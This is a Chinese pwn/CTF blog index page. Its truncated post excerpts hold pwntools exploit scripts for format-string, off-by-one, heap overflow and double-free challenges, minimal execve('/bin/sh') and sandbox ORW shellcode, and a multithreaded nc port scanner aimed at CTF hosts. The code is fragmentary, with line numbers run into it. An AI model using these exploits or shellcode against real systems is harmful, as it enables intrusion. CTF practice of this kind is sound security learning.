未来大pwn子的blog

foooood（跟我的题思路一模一样，气死）12345678910111213141516171819202122232425262728293031from pwn import *context(os='linux',arch='amd64') #need tmuxcontext.log_level="debug"# p = remote("node4.buuoj.cn", 26443)p = process("./pwn")p.sendlineafter("Give me your name:", b"/bin/sh")p.sendlineafter("food:", b'%9$p^%11$p^')libc_base = int(p.recvuntil("^")[10:-1], 16) - 0x20750 - 240 # __libc_start_mainstack = int( ...

off_by_one123456789101112131415161718192021222324252627282930313233343536373839404142434445from pwn import *from LibcSearcher import *context.log_level='debug'context.arch='amd64'def add(size,contet): p.sendafter("Your choice :",b'1') p.sendafter("Size of Heap :",str(size)) p.sendafter("Content of heap:",contet)def edit(index,contet): p.sendafter("Your choice :",b'2') p.sendafter("Index :",st ...

堆溢出babyheap_0ctf_2017典型堆溢出，但使用了calloc（在malloc后会清空申请的空间），对泄露libc造成了一些麻烦 解法不少，目前学了一种 思路123456789101112131415161718堆地址未知add0，1，2，3（只有3要求大一些，放到unsorted）0作用：修改1和2free1free2会放到fastbin，2->10溢出，穿过1，修改2的fd指针，改到3的身上fastibn：2->3(1丢失)add 1(申请到2)按理来说再add 2就可以申请到3，双重身份，但是3的大小不符合fast，必然申请不出来所以fill 1 （用2溢出到3，修改3的大小到0x10，满足fast）add 2(申请到了3)add 4(0x80，防止合并到top)fill 1 （再改回去，保证等等放到unsorted）free 3 （放到第一个unsorted，fd和bd都会变成libc_areas+xx）dump 2 查看3里面的fd泄露libc完成，后面的就是常规堆溢出 exp1234567891011121314151617181920212223 ...

个人信息比赛昵称：不会pwn就哭 姓名：贺宇超 ezlogin12345678910111213from pwn import *context.log_level="debug"#p=process('./maybeheap')for i in range(1,20): p = remote("ctf.v50to.cc", 10468) p.sendlineafter("Choice:", b'1') #attach(p) p.sendlineafter("Enter index (0-9) to add a new Chunk: ", str(i*-1)) p.sendlineafter("Enter name for the new Chunk (up to 16 characters): ", p64(0x0401228)) p.interactive() maybeheap12345678910111 ...

daspwn11234567891011121314151617181920212223242526from pwn import *context(arch='amd64', log_level='debug', os='linux')#p = process("./GuestBook")p=remote("node4.buuoj.cn",27600)payload=b'a'*0x18+b'^'p.sendafter("Please input your name: ",payload)p.recvuntil("^")canary=p.recv(7)print(canary)p.sendlineafter("(MAX 4): ",b'3')sleep(1)payload=b'a'*(0xA8)+p64(0x0000000004012C3)# att ...

多线程nc扫描器123456789101112131415161718192021222324252627282930313233343536373839from pwn import *import threadingcontext(arch='amd64', log_level='debug', os='linux')def thread_function(portstart, keyword, cishu, timeout,pinglv): rec = '' for j in range(cishu): try: p = remote("ctf.qwq.cc", portstart + j * pinglv, timeout=timeout) sleep(0.1) t = p.recvline(timeout=timeout) rec=t except: ...

沙盒orw且分段shellcode12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667from pwn import *from LibcSearcher import *context(arch='amd64', log_level='debug', os='linux')p =process("./shellcode")elf=ELF('shellcode')#p = remote('39.100.87.38',23081)pop_rdi_ret=0x0000000000400863jmp_rsp=0x0000000000400785vuln=0x000000000400760main = elf.sym['main']puts_plt = elf. ...

最短shellcodei386长度18 1234567push 0xbpop eaxpush ebxpush 0x68732f2fpush 0x6e69622fmov ebx,espint 0x80 amd64长度22 123456789xor rsi, rsi push rsi mov rdi, 0x68732f2f6e69622f push rdipush rsp pop rdi mov al, 59 cdq syscall 沙盒下最短shellcode64位 12345678910111213141516171819202122shellcode=''' xor rax, rax #xor rax,rax是对rax的清零运算操作 xor rdi, rdi #清空rdi寄存器的值 xor rsi, rsi #清空rsi寄存器的值 xor rdx, rdx mov rax, 2 #open调用号为2 mov rdi, 0 ...

double free1234567891011121314151617181920212223242526272829303132333435363738394041424344454647from pwn import *context(arch='i386', log_level='debug', os='linux')#p = process('./heap_Double_Free')p=remote('123.60.135.228', 2056)def fulltcache(): for i in range(7): malloc(i, b'qwer') for i in range(7): free(i)def malloc(id, contet): p.sendlineafter('root@ubuntu:~/Desktop$', b'1') p.sendline ...

1234567不用libcsearcher的时候用next(libc.search(b'/bin/sh'))用的时候用libc.dump('str_bin_sh') 32位printf12345678910111213141516171819202122232425262728from pwn import *from LibcSearcher import *context.log_level="debug"p = remote('node4.buuoj.cn',28619)elf=ELF("pwn2_sctf_2016")libc=ELF("libc-2.23.so")p.sendlineafter("read?",b'-1')esi_edi_ebp=0x0804864datoi_got=elf.got["atoi"]printf_plt=elf.plt["printf"]for ...